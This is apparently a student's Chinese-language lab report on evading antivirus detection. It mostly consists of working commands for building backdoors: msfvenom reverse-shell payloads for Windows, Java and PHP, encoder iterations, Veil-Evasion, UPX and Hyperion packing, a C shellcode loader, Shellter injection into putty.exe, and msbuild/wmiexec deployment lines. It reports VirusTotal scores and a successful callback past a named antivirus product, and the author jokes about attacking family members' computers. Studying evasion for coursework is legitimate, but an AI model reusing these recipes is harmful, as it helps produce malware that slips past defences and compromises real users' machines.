Exp3 免杀原理与实践

Exp3 免杀原理与实践

一、基础问题回答

以下问题在远控免杀从入门到实践(1):基础篇均有完整的介绍和解答,这个系列的讲解也非常系统详细

  1. 杀软是如何检测出恶意代码的?

    答:可以根据特征码检测,特征库收集恶意程序的特征码提供给杀软,如果杀软检测到程序中有特征库中的特征码,就可以判断此程序中包含恶意代码;可以通过恶意行为来检测,即有恶意行为则报警;可以通过定期的文件校验来检测,若文件校验和与原来保存的校验和不一致,则可能感染病毒。

  2. 免杀是做什么?

    答:免杀就是反杀毒技术,使恶意程序的特征不能被杀毒软件检测到以被杀/删掉。

  3. 免杀的基本方法有哪些?

    答:有修改特征码、花指令免杀、加壳免杀、内存免杀、二次编译、分离免杀、资源修改。本次实验中主要通过加壳、二次编译、分离免杀等方式更改特征码来避免特征码检测,也可以通过反弹连接、隧道技术等方式避免行为检测,不过一般还没行动就会被杀掉。

  4. 开启杀软能绝对防止电脑中恶意代码吗?

    答:不能,如果杀软的病毒库没有更新,就检测不到新的被发现的恶意代码,更不用说还有未被发现特征的病毒未被记录在病毒库中。

二、实验总结与体会

本次实验中遇到了不少问题,尤其是在安装veil的时候的问题比较多,尝试实现免杀的过程非常煎熬,最终还是使用了较为弱的杀毒软件才实现了免杀。在实践过程中对上一次实验中设置的payload是做什么的,另外对配置环境变量的重要性有所体会。可以自己完成一些简单的恶意攻击还是挺有成就感的,等回家攻击攻击家人的XP和win7吧。

三、实践过程记录

3.1 免杀检测

  1. 同实验二的方式使用如下命令生成后门程序

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 -f exe > 20181214_backdoor.exe
    
  2. 放入VirusTotalVirscan中进行扫描

    • VirusTotal扫描结果

    image-20210404155401677

    • Virscan扫描结果

    image-20210404155423889

3.2 正确使用msf编码器,生成exe文件

  1. 输入msfvenom -l查看msfvenom相关参数

    image-20210404161056098可以看到-f可以选择输出后门的格式,-e可以选择编码器,-b可以去除字符,-i可以设置迭代次数等

  2. 一次编码后门程序并检测

    不设置-i迭代次数则默认为1

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.31.92 LPORT=11214 -f exe > 20181214_backdoor2.exe
    

    image-20210404161959330VirusTotal检测结果

    image-20210404162743568

  3. 十次编码后门程序并检测

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.31.92 LPORT=11214 -f exe > 20181214_backdoor3.exe
    

    image-20210404162024897VirusTotal检测结果

    image-20210404162956948可疑度反而上升了

3.3 msfvenom生成如jar之类的其他文件

生成java后门程序

msfvenom -p java/shell_reverse_tcp  LHOST=192.168.31.92 LPORT=11214 -f jar > 20181214jar.jar

image-20210404163557627VirusTotal检测结果image-20210404163802343

生成php后门程序

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 x> 20181214php.php

image-20210404163823515VirusTotal检测结果image-20210404164622191

3.4 veil

安装veil

  1. 使用sudo apt-get install veil-evasion命令安装veil

    期间出现了veil err:mscoree:LoadLibraryShim error reading registry key for installroot错误。参考安装Veil 3.0时出错 (事实上查看错误信息就可以解决), sudo mkdir /run/user/0 然后重新运行 ./config/setup.sh --force --silent解决了问题

  2. 修改git源

    由于使用了github上的资源而没有合 理 上 网,在加载过程中会特别慢以致连不上网,所以我们需要将安装文件中的gitub资源改为码云资源。先vim /usr/share/veil/config/setup.sh进.sh文件,输入/VeilDependencies.git找到位置,在用sudo git clone https://gitee.com/spears/VeilDependencies.git把这句替换掉即可。

    image-20210404165241461

    成功运行Veil

    image-20210404165614194

使用veil

  1. 输入use evasion进入Veil-Evasion

    image-20210404165901349

  2. 输入use powershell/shellcode_inject/psexec_virtual.py c/meterpreter/rev_tcp.py进入配置界面

    image-20210404165938646

  3. 设置反弹连接IP,输入Kali的IP:set LHOST 192.168.31.92

  4. 设置端口:set LPORT 1214,完成配置,可输入option查看当前配置

    image-20210404170144820

  5. 输入generate生成后门程序文件,并命名playload

    image-20210404170900398

    成功生成exe文件,文件路径如图所示(var目录和root目录同级)

  6. 检验可用性

    image-20210405210814772

  7. VirusTotal检测结果

    image-20210404171422420

3.5 加壳工具

压缩壳

通过减少将后门程序压缩的方式进行免杀,使用命令upx infile -o outfile即可加壳

  • 对实验二生成的后门程序20181214_backdoor.exe加壳

    1. 使用命令upx 20181214_backdoor.exe -o upx 20181214_backdoor.upxed.exe
      image-20210404171851513
  1. 测试可用性
    image-20210404172546664

  2. VirusTotal检测结果

    image-20210404173243083对照结果,加壳后的检测率略有降低

  • 对veil生成的后门程序veil_1812.exe加壳

    1. 使用命令upx veil_1812.exe -o veil_181214upx.exe
      image-20210404174133898
    2. VirusTotal检测结果
      image-20210404173924474
      检测率不降反升,猜测有些检测软件看到加壳后会加 大 力 度

加密壳

从上面的结果可以看到,压缩壳的免杀效果并不是很好,我们再使用Hyperion对后台程序加加密壳

我们需要先装一下Hyperion,用码云上的资源包下载wget https://gitee.com/guoguogewangzi/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip,然后unzip Hyperion-2.2.zip解压

image-20210405173243714

进入Hyperion-2.2文件夹,vim修改makefile,将第一行改为 CC = i686-w64-mingw32-gcc,之后make编译一下

image-20210405174135927

  • 对实验二生成的后门程序20181214_backdoor.exe加壳

    1. 使用wine hyperion.exe -v 20181214_backdoor.exe 20181214_backdoor_upxed_Hyperion.exe命令生成加密后门程序,注意需要先将后门程序移入Hyperion-2.2文件夹

      image-20210405200714803

    2. 测试可用性

      image-20210405202045979

      这次是能够执行完exe文件,不过msf那边会慢一些

    3. VirusTotal检测结果

      image-20210405202735865

效果和压缩壳一样

  • 对veil生成的后门程序veil_1812.exe加壳

    1. 使用命令wine hyperion.exe -v veil_1812.exe veil_1812_Hyperion.exe

image-20210404174133898

  1. 测试可用性

image-20210405203811738

  1. VirusTotal检测结果
 ![image-20210405210330875](https://i.loli.net/2021/04/05/NDnTRpjmUyx1wMF.png)
 
 检测率仍然不降反升,可能是检测软件对我们自主生成的后门程序不太敏感,反而是对壳特别敏感,在4.8部分我会组合使用他们看看到底是怎么样

3.6 使用C + shellcode编程

  1. 生成一段C语言shellcodemsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 -f c

image-20210404174521014

  1. 将shellcode放入如下代码中

    unsigned char buf[] = 
    "shellcode数组内容"
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    

image-20210404174738316

  1. 使用命令i686-w64-mingw32-g++ 20181214.c -o 20181214.exe对c文件进行交叉编译,得到可以在Windows环境下的可执行程序20181214.exe

    image-20210404174935110

  2. 测试可用性

    image-20210404175602864

  3. VirusTotal检测结果

    image-20210404175812140

3.7 使用其他课堂未介绍方法

使用Veil-Evasion的其他荷载生成后门方式

  1. 启动veil,输入use evasion进入evasion,输入list查看可用的有效荷载image-20210404191119478

  2. 输入use 13选择荷载cs/shellcode_inject/virtual.py
    image-20210404191226048

  3. 设置用户名,generate生成,并对荷载、端口、ip等进行配置
    image-20210405214651725

路径如下

image-20210405214721777

  1. 通过生成的exe文件和rc文件进行MSF调用

    将exe文件发到主机上,进入rc文件所在文件夹执行msf命令

    image-20210405215151101

    主机中执行exe,msf中自动连接上了

    image-20210405215843388

  2. VirusTotal检测结果

    image-20210405215702578

Shellter 免杀

  1. 准备PE文件

    从https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html中下载32位putty.exe

  2. 生成payload

    在kali终端中输入shellter运行,选择模式Auto,输入PE文件路径

    image-20210406204842550

    选择隐身模式,选择windows/meterpreter/reverse_tcp作为payload,输入ip和端口号

    image-20210406204918066

    成功生成

  3. 验证可用性

    image-20210406204203927

  4. VirusTotal检测结果

    image-20210406204816715

nps_payload 免杀(失败)

  1. 安装nps_payload

    使用git clone https://gitee.com/sin29/nps_payload.git命令克隆到本地,库是从github中导入码云的

    image-20210406153949667

    进入nps_payload文件夹后,使用pip install -r requirements.txt命令安装依赖

    image-20210406153938283

  2. 利用nps_payload生成后门

    看源码中nps_payload貌似提供了python2和python3两种执行方式,但python2少个库,python3 nps_payload.py运行

    image-20210406153823210

    这里会进入一个死循环,进入不了下一选项

    image-20210406155318362

    我们vim查看.py文件,在代码末端发现输入的选项是默认的字符而options选择的却是数字,将409行的task = input("\nSelect a task:")改为task = int(input("\nSelect a task:"))即可,102、229行也有这个问题,已经在github上提交问题

    image-20210406155955347

    运行后,第一步选择生成,选择1:Generate msbuild/nps/msf payload,第二步选择payload,选择1:windows/meterpreter/reverse_tcp,并设置ip和端口

    image-20210406161209330

    成功生成后门文件,并给出了提示文件

    image-20210406161255896

  3. 检测可用性

    虚拟机msf设置payload、ip和端口进行监听,将生成的xml文件发到主机上,在主机上使用如下命令执行

      a. Local File Deployment:
        - %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe D:\joey\msbuild_nps.xml                              
      b. Remote File Deployment:
        - wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml       
    

    发现没有成功生成xml文件,暂时没办法

3.8 通过组合应用各种技术实现恶意代码免杀

使用veil+压缩壳+加密壳的方式,未能实现免杀

使用c+shellcode+Hyperion的方式,未能实现免杀

在杀软版本较低的主机中能实现免杀

image-20210405215843388

3.9 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

杀软版本为腾讯电脑管家 13.5.20525.234

QQ图片20210412091103

img

posted @ 2021-04-05 23:29  一个李长兴  阅读(359)  评论(0编辑  收藏  举报